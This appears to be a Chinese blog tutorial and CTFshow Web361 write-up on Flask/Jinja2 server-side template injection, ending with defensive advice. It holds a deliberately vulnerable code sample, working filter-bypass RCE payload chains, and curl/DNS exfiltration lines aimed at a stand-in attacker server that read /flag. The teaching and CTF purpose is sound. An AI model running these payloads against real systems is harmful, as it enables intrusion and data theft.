Flask/Jinja2 SSTI漏洞实战:从原理到RCE利用链完整解析 📅 2026/6/24 7:36:57 1. 项目概述一次完整的SSTI漏洞实战剖析最近在复盘一些经典的Web安全漏洞案例Flask/Jinja2的服务器端模板注入SSTI总是绕不开的话题。这不仅仅是因为它在CTF比赛中高频出现更因为在真实的开发场景里由于对模板引擎安全机制的理解不足这类漏洞时有发生。我打算结合一次具体的实战——CTFshow Web361的解题过程把SSTI从漏洞原理、检测手法、利用链构建到最终实现远程代码执行RCE的完整链条给你彻底拆解清楚。这篇文章适合所有对Web安全感兴趣的朋友无论你是刚入门的安全爱好者想理解漏洞原理还是有一定经验的开发者希望在自己的Flask项目中规避此类风险亦或是CTF玩家寻求更高效的解题思路都能从中找到实用的干货。我们将从最基础的模板渲染机制讲起一步步深入到利用Python的内省特性构造攻击链最终实现命令执行。整个过程我会穿插大量我实际调试时的心得和踩过的坑确保你看完不仅能复现更能理解背后的“为什么”。2. 漏洞核心理解Jinja2模板引擎与SSTI2.1 模板引擎是如何工作的要理解SSTI首先得明白模板引擎在干什么。以Flask默认的Jinja2为例它的核心任务很简单把一堆静态的HTML骨架模板和动态的数据上下文结合起来生成最终的HTML页面返回给用户。比如一个博客页面模板里可能有{{ post.title }}和{{ post.content }}这样的占位符。当Flask渲染这个模板时它会用真实的博客标题和内容去替换这些占位符。这里的关键在于{{ ... }}里的内容不是简单的字符串替换。Jinja2会将其中的内容作为Python表达式进行解析和求值。对于post.title引擎会去查找当前上下文中的post对象然后获取它的title属性。这本身是合法且强大的功能。问题出在如果开发者错误地将用户输入直接拼接进了模板字符串然后交给了render_template_string()函数或者通过某些不当的上下文传递方式使得用户输入的内容被当成了模板语法的一部分进行解析漏洞就产生了。举个例子一个危险的代码片段可能是这样的from flask import Flask, request, render_template_string app Flask(__name__) app.route(‘/vuln‘) def vuln(): name request.args.get(‘name‘, ‘Guest‘) # 致命错误将用户输入的name直接嵌入模板字符串进行渲染 template f“h1Hello, {name}!/h1“ return render_template_string(template)当用户访问/vuln?name{{7*7}}时传入的{ {7*7} }不会被当作普通文本而是会被Jinja2解析为表达式并计算最终页面会显示“Hello, 49!”。这就证实了模板注入漏洞的存在。注意这里为了演示漏洞使用了render_template_string。在实际不规范代码中也可能因为对render_template函数的模板文件路径控制不当或通过{% include ... %}、{% extends ... %}等指令动态加载了用户可控的模板文件导致类似问题。2.2 为什么SSTI能导致RCESSTI的可怕之处在于它的“链式反应”潜力。最初的注入点可能只是简单的表达式计算但Jinja2的模板语法非常丰富它提供了访问对象属性、调用方法、执行控制流语句如if、for的能力。在Python中一切皆对象对象之间通过特定的属性和方法相互关联。攻击者的核心思路是利用模板语法从一个已知的、可访问的Python对象例如模板内置的上下文对象出发通过调用其方法或访问其属性一步步获取到更强大、更危险的类或函数最终目标是找到并执行能够执行系统命令或读写文件的函数。这个探索过程就像在操作系统的文件系统里进行目录遍历../只不过这里遍历的是Python对象的“命名空间”和“继承链”。例如从字符串对象““的__class__属性可以找到它的类class ‘str‘再从该类的__base__或__mro__属性找到其父类通常是class ‘object‘然后遍历object的所有子类从中找到包含危险模块如os、subprocess的类最终调用这些模块的方法。3. 漏洞检测与信息收集手法3.1 初步探测与确认面对一个疑似存在SSTI的点我们第一步是确认漏洞。通常使用一些无害的Payload来测试表达式执行。数学运算{{7*7}}、{{7*‘7‘}}。如果返回“49”或“7777777”则基本确认存在SSTI。后者还能测试出服务端是Python7*‘7‘得到 ‘7777777‘还是其他语言如PHP中可能报错或得到0。字符串拼接{{“ab““cd“}}。返回“abcd”可作为辅助确认。探测内置对象/函数{{config}}、{{self}}、{{request}}。在Flask中如果这些对象在模板上下文中可用且页面返回了它们的字符串表示而非报错不仅能确认SSTI还能泄露大量应用配置信息config对象包含数据库连接字符串、密钥等。在CTFshow Web361这类题目中通常会有意过滤或限制某些字符所以探测时需要灵活变通。例如如果空格被过滤可以使用()或[]来替代空格分隔参数或者使用\t、\n等制表符、换行符。3.2 绕过常见过滤与WAF在实际攻击和CTF中直接使用{{os.system(‘whoami‘)}}几乎不可能成功。题目会设置层层过滤。以下是一些常见的绕过技巧字符串拼接如果过滤了“os“可以尝试{{“o““s“}}或{{“%s%s“|format(“o“, “s“)}}。编码与解码利用Base64、Hex、Rot13等编码。例如Payload{{().__class__.__bases__[0].__subclasses__()}}中的敏感词可以被编码后在模板内使用过滤器解码。Jinja2内置了b64decode过滤器吗并没有但我们可以利用|string|list|attr等组合或者从已有的模块中寻找解码函数。使用属性访问的多种形式点号.访问obj.__class__中括号[]访问obj[“__class__“]。当点号被过滤时特别有用。使用attr()过滤器obj|attr(“__class__“)。这是Jinja2提供的过滤器常用于绕过。利用数字、字符构造如果字母被严格限制可以从数字开始。例如通过{{().__class__}}得到一个字符串表示然后利用切片、chr、ord等函数或方法从已知字符串中“拼”出我们需要的字符。在SSTI利用链的后期这通常需要先找到一个能执行Python代码的落脚点。注释符绕过Jinja2中{# ... #}是注释。有时可以将被过滤的关键词放在注释里再结合其他技巧如变量赋值来干扰WAF的简单正则匹配。但这种方法对语义分析型的防御效果有限。在Web361中我遇到的第一个障碍就是对一些关键词和符号的过滤。我的策略是先使用最基础的Payload{{7*7}}确认漏洞然后用{{config}}尝试获取信息发现被拦截。转而使用{{self}}发现可行这给了我一个宝贵的起点Template对象。4. 构建利用链从模板对象到命令执行4.1 寻找攻击起点self与namespace在Flask的Jinja2模板中self是一个指向当前Template对象的引用。通过{{self}}我们可以得到一个字符串其中包含了该对象所在的模块信息。但更有用的是访问它的属性。{{self.__class__}}可以告诉我们它的类是jinja2.environment.Template。{{self.__class__.__mro__}}可以查看方法解析顺序找到它的所有父类。{{self.__class__.__base__}}直接找到它的直接父类通常是object。但更直接的利用方式是{{self.__init__.__globals__}}。__init__是类的初始化方法__globals__属性包含了该方法定义时所在的全局命名空间global namespace。这是一个字典里面包含了该模块导入的所有模块、函数和变量。对于Template类其__init__方法定义在jinja2/environment.py等文件中它的全局命名空间很可能导入了os、sys、subprocess等Python标准库模块因为模板引擎本身可能需要用到它们。执行{{self.__init__.__globals__}}会返回一个巨大的字典。我们需要从中提取出有用的模块。由于输出可能被截断或难以阅读我们可以用遍历或直接键值访问的方式。4.2 遍历与筛选危险模块直接看全部__globals__太乱。我们可以用Jinja2的循环来筛选。例如寻找包含“os“的键{% for key, value in self.__init__.__globals__.items() %}{% if “os“ in key|string %}{{ key }}: {{ value }}br{% endif %}{% endfor %}或者更直接地尝试访问已知的模块{{self.__init__.__globals__[‘os‘]}}如果成功就会返回module ‘os‘ from ‘...‘。在Web361的实战中我发现self.__init__.__globals__被过滤了__globals__这个关键词。这时就需要迂回。我尝试了self.__init__.__func__.__globals__在Python 2中常用Python 3中__func__是方法对象的属性或者通过self.__class__.__base__.__subclasses__()这条更经典的“子类遍历链”。4.3 经典子类遍历链详解这是SSTI利用中最通用、最经典的一条链尤其当self不可用或__globals__被过滤时。思路是从一个最基础的、肯定存在的类比如空元组()的类出发找到所有Python运行时加载的类从中筛选出包含危险模块的类。获取一个基础类的所有子类{{().__class__.__base__.__subclasses__()}}()是一个空元组对象。.__class__获取它的类class ‘tuple‘。.__base__获取该类的父类class ‘object‘在Python中几乎所有类的最终父类都是object。.__subclasses__()获取object的所有直接子类列表。这个列表非常长包含了当前Python解释器中加载的数百个类。从子类列表中寻找目标我们需要在这个列表中找到一个类它要么本身是危险模块如os._wrap_close要么它的类定义所在模块的全局变量中包含了危险模块。通常我们会寻找这些类class ‘os._wrap_close‘、class ‘subprocess.Popen‘或者一些包含__builtins__、__import__属性的类如warnings.catch_warnings。手动筛选与自动化脚本在CTF中我们通常需要手动或写脚本遍历。例如在Jinja2模板中可以这样写来寻找包含“Popen“的类{% for cls in ().__class__.__base__.__subclasses__() %}{% if “Popen“ in cls.__name__ %}{{ loop.index }}: {{ cls }}br{% endif %}{% endfor %}记下目标类在列表中的索引loop.index从1开始而Python列表索引从0开始所以实际索引是loop.index0。访问目标类的危险属性/方法假设我们找到了class ‘subprocess.Popen‘在索引 258 的位置。{{().__class__.__base__.__subclasses__()[258]}}可以确认。 要调用它需要访问它的__init__.__globals__吗不对于Popen类本身我们可以直接调用它来执行命令。但Popen是一个类需要实例化。在SSTI中我们可以利用模板语法直接调用类即实例化并执行命令{{().__class__.__base__.__subclasses__()[258](“whoami“, shellTrue, stdout-1).communicate()[0]}}这里communicate()返回一个元组(stdout_data, stderr_data)取[0]得到标准输出。实操心得子类列表的索引在不同Python环境、不同依赖下可能完全不同。在CTF中题目环境通常是固定的所以一旦找到索引就可以稳定利用。但在真实渗透测试中这并不可靠。更稳健的方法是写一个Python脚本在本地模拟类似环境遍历子类并打印出所有可能包含os、subprocess、eval、exec等关键词的类及其索引生成一个Payload字典备用。4.4 利用os._wrap_close类执行命令在众多子类中class ‘os._wrap_close‘是一个非常常用的目标。它位于os模块中因此它的__init__.__globals__或者对于类是__globals__属性吗准确说是__init__是实例方法我们需要类的__init__的__globals__就包含了os模块的全局命名空间其中必然有os.system或os.popen。利用步骤找到os._wrap_close类的索引假设为idx。访问其__init__.__globals__字典{{().__class__.__base__.__subclasses__()[idx].__init__.__globals__}}从这个字典中取出os模块{{().__class__.__base__.__subclasses__()[idx].__init__.__globals__[‘os‘]}}调用os模块的popen方法执行命令并读取{{().__class__.__base__.__subclasses__()[idx].__init__.__globals__[‘os‘].popen(‘whoami‘).read()}}或者使用system{{().__class__.__base__.__subclasses__()[idx].__init__.__globals__[‘os‘].system(‘whoami‘)}}注意system只返回退出码不直接输出结果到页面。在Web361中我正是通过子类遍历链结合对过滤规则的测试比如发现中括号[]被过滤就必须用.pop()或循环遍历来获取指定索引的类最终定位到了可用的类并成功读出了os模块。5. CTFshow Web361 实战解题全记录5.1 题目环境与初步探测题目通常是一个简单的Flask应用提供一个输入点比如一个接收name参数的接口。我的第一步永远是基础探测。访问页面观察页面功能发现可能是一个接收GET参数?namevalue的接口。基础SSTI测试传入?name{{7*7}}。页面显示“Hello, 49!”漏洞确认。尝试信息泄露传入?name{{config}}。返回页面显示被拦截或空白说明存在关键词过滤如可能过滤了config、os、eval等。尝试self传入?name{{self}}。成功返回了一个包含Template对象的字符串。这是一个好迹象说明self对象可用且过滤规则可能没有覆盖所有内置对象。5.2 探索可用对象与过滤规则既然self可用我尝试深入?name{{self.__class__}}成功返回class ‘jinja2.environment.Template‘。?name{{self.__class__.__base__}}成功返回class ‘object‘。?name{{self.__init__}}成功。?name{{self.__init__.__globals__}}失败页面返回了拦截提示或异常。确认__globals__被过滤。我需要绕过对__globals__的过滤。尝试了字符串拼接__globa____s__、属性中括号访问[“__globals__“]发现中括号[]也被过滤了。点号.是允许的。那么attr()过滤器呢?name{{self|attr(“__init__“)|attr(“__globals__“)}}测试发现attr也可能被过滤。此时我转向更可靠的子类遍历链。先测试基础链是否被阻断?name{{().__class__}}成功。?name{{().__class__.__base__}}成功。?name{{().__class__.__base__.__subclasses__()}}成功返回了一大串类列表的文本。这说明这条路径是通的。5.3 定位危险类与构造最终Payload现在需要从这一长串文本中找到目标类。由于页面显示可能不完整我需要写一个简短的Payload来搜索。但题目环境可能不允许复杂循环。我可以先估算一下os._wrap_close是一个常见目标。我尝试在本地Python环境与题目环境尽可能相似比如都用Python 3.8中运行print(().__class__.__base__.__subclasses__().index(os._wrap_close))来获取大概的索引范围。假设我预估它在索引 130 附近。我构造Payload来测试?name{{().__class__.__base__.__subclasses__().pop(130)}}这里用了.pop(130)而不是[130]是为了绕过对中括号[]的过滤。pop方法会移除并返回列表中指定索引的元素效果等同于索引访问。不断调整索引数字发送请求观察返回的类名。当我尝试到索引132时返回了class ‘os._wrap_close‘。Bingo接下来我需要从这个类访问os模块。由于__globals__被过滤我需要寻找这个类本身是否就有os模块的引用实际上os._wrap_close类是在os模块中定义的所以它的__init__.__globals__就是os模块的命名空间。我必须绕过__globals__这个关键词。我想到__globals__是函数对象的属性。对于类CC.__init__是一个函数未绑定方法。有没有其他属性可以间接获取到模块信息我尝试了__module__。?name{{().__class__.__base__.__subclasses__().pop(132).__module__}}返回了‘os‘。很好我知道了它所在的模块名是os。但是只有模块名还不够我需要拿到模块对象来调用popen或system。在Python中可以通过__import__函数来导入模块。__import__是内置函数。我需要找到__builtins__或__import__。我可以看看os._wrap_close类的__init__函数的__builtins__。在Python中函数的__globals__[‘__builtins__‘]通常就是内置模块。但__globals__被过滤了。有没有其他方法另一种思路既然我能拿到‘os‘这个字符串我能不能在模板中“导入”它Jinja2模板中并没有直接的import语句但有一个很少被注意到的内置全局函数lipsum()或range()不这些不行。实际上在Jinja2的沙盒环境中默认是没有__import__的。但是从os._wrap_close这个类本身我能直接调用os模块的方法吗比如os._wrap_close是os模块里的一个类那么os._wrap_close.__init__.__globals__就是os模块的命名空间。我必须解决__globals__过滤。我尝试了编码绕过。如果过滤是简单的字符串匹配我可以用十六进制或字符拼接来构造__globals__。 先测试字符串拼接?name{{().__class__.__base__.__subclasses__().pop(132).__init__[“__globa““ls__“]}}。失败中括号被过滤。 用attr过滤器拼接?name{{().__class__.__base__.__subclasses__().pop(132).__init__|attr(“__globa““ls__“)}}。成功页面返回了一个巨大的字典其中包含了‘os‘: module ‘os‘ from ‘...‘。胜利在望现在从这个字典里取出os模块。由于不能使用中括号我再次使用attr过滤器但attr是针对对象的从字典里取值需要用.get()或[]。我可以用 Jinja2 的items()方法遍历吗太复杂。我注意到在Jinja2中访问字典的键除了用[‘key‘]还可以用.key的形式如果键是合法的标识符。os是合法的标识符。所以我可以尝试?name{{().__class__.__base__.__subclasses__().pop(132).__init__|attr(“__globa““ls__“).os}}成功了返回了module ‘os‘ from ‘...‘。最后一步调用os.popen执行命令并读取。同样使用attr过滤器来调用方法因为popen也可能被过滤。?name{{().__class__.__base__.__subclasses__().pop(132).__init__|attr(“__globa““ls__“).os.popen(“whoami“).read()}}如果popen被过滤就拼接“po““pen“。 最终Payload?name{{().__class__.__base__.__subclasses__().pop(132).__init__|attr(“__globa““ls__“).os|attr(“po““pen“)(“whoami“).read()}}将whoami替换成题目要求读取flag的命令如cat /flag或ls /等成功获取到flag。5.4 解题过程中的关键技巧与避坑点灵活运用pop()方法当[]被过滤时list.pop(index)是完美的替代品它直接操作列表并返回元素。attr()过滤器的妙用这是绕过点号.或关键词过滤的利器。它允许你以字符串形式传递属性名然后动态获取。结合字符串拼接可以绕过对完整关键词的检测。分步测试不要试图一次性构造出最终Payload。先测试每一个环节是否畅通获取对象、获取类、获取父类、获取子类列表、定位特定类、获取属性、获取模块、调用函数。每一步都确认无误后再组合。注意Python版本差异__class__、__base__、__mro__在Python 2和Python 3中行为一致但一些内置类的索引位置可能不同。__subclasses__()返回的列表顺序也可能因Python解释器启动时加载模块的顺序而有细微差别但在同一个应用运行过程中是稳定的。利用错误信息如果Payload构造错误导致服务器内部错误500有时错误信息会泄露部分堆栈跟踪其中可能包含有用的类名、文件名信息帮助你调整利用链。6. 防御之道开发者如何避免SSTI理解了攻击链防御就更有针对性。核心原则是绝对不要信任用户输入尤其是不要将用户输入直接作为模板内容或模板文件名进行渲染。严格使用静态模板文件使用render_template(‘index.html‘, nameusername)而不是render_template_string(dynamic_template)。确保模板文件是项目内预定义的、不可被用户修改的。如果需要动态模板必须严格沙盒化如果业务必须动态生成模板如邮件模板、报告模板应使用更严格的沙盒环境如Jinja2自带的SandboxedEnvironment它可以禁用危险的方法和属性访问。仔细审查并白名单化允许在模板中使用的函数、过滤器和全局变量。对用户输入进行严格的转义和过滤确保其只能作为数据值而不能包含模板语法{{、{%、{#。对用户输入进行强过滤如果用户输入可能被传入模板上下文确保对其中的特殊字符进行HTML转义使用|safe过滤器要极其谨慎。但注意HTML转义对Jinja2语法符{{无效防止SSTI需要专门过滤或转义这些语法块。禁用不必要的Python内置功能在创建Jinja2环境时可以覆盖或移除危险的全局函数、过滤器和扩展。代码审计与安全意识在代码审查中重点关注所有使用render_template_string、Template、Environment.from_string的地方以及任何动态构造模板文件路径include‘,extends的逻辑。7. 拓展与高级利用技巧7.1 无回显RCE与外带数据上面的例子是有回显的RCE命令结果直接显示在页面上。如果页面没有回显我们需要外带数据Out-of-Band, OOB。DNS外带使用os.system或subprocess.Popen执行如curl http://your-domain.com/$(whoami)或ping $(whoami).your-domain.com的命令。通过DNS查询日志来获取命令执行结果需要将结果作为子域名的一部分。HTTP外带使用curl或wget将命令结果作为URL参数或POST数据发送到你的服务器。{{ ... .os.popen(‘curl http://YOUR_SERVER/?flag$(cat /flag | base64)‘).read() }}延时盲注通过执行sleep命令来判断命令是否执行成功。例如{{ ... .os.system(‘sleep 5‘) }}如果页面响应延迟了5秒说明执行成功。7.2 绕过更严格的沙盒一些框架或自定义沙盒可能会禁用__class__、__base__、__subclasses__等属性访问。这时需要寻找其他入口点。利用已导入的模块仔细分析{{config}}或{{self.__init__.__globals__}}如果可用的输出寻找除了os之外的其他可能用于读写文件或执行代码的模块如sys、platform、importlib。利用Python的内省函数如dir()、locals()、globals()。例如{{lipsum.__globals__}}lipsum是Jinja2的一个全局函数它的__globals__可能包含有用的模块。利用Flask的特殊上下文变量如request、session、g。它们的类或关联对象可能指向其他模块。利用Python的异常对象{{‘‘.__class__.__mro__[1].__subclasses__()}}可能和().__class__.__base__结果不同可以尝试。或者通过触发一个异常然后从异常对象中获取信息较复杂。7.3 自动化工具与资源手工构造SSTI Payload虽然能加深理解但效率较低。在实际渗透测试中可以使用一些自动化工具辅助tplmap一款经典的SSTI检测与利用工具支持多种模板引擎Jinja2, Tornado, Twig等能自动检测漏洞并尝试获取交互式shell。Jinja2 SSTI Payloads互联网上有大量总结好的Payload列表针对不同过滤场景。例如使用{{request.application.__globals__}}在Flask中有时也能成功。自定义Fuzz字典根据目标应用使用的框架和过滤规则构建自己的Payload字典进行Fuzz。最后我想强调的是SSTI漏洞的利用过程是一次对Python对象模型和应用程序运行环境的深度探索。理解它不仅能让你在CTF中游刃有余更能从根本上提升你的代码安全审计能力。每次遇到过滤都是一次创造性的挑战。记住那条黄金法则永远从已知对象出发沿着属性与方法链耐心地、一步步地走向你的目标。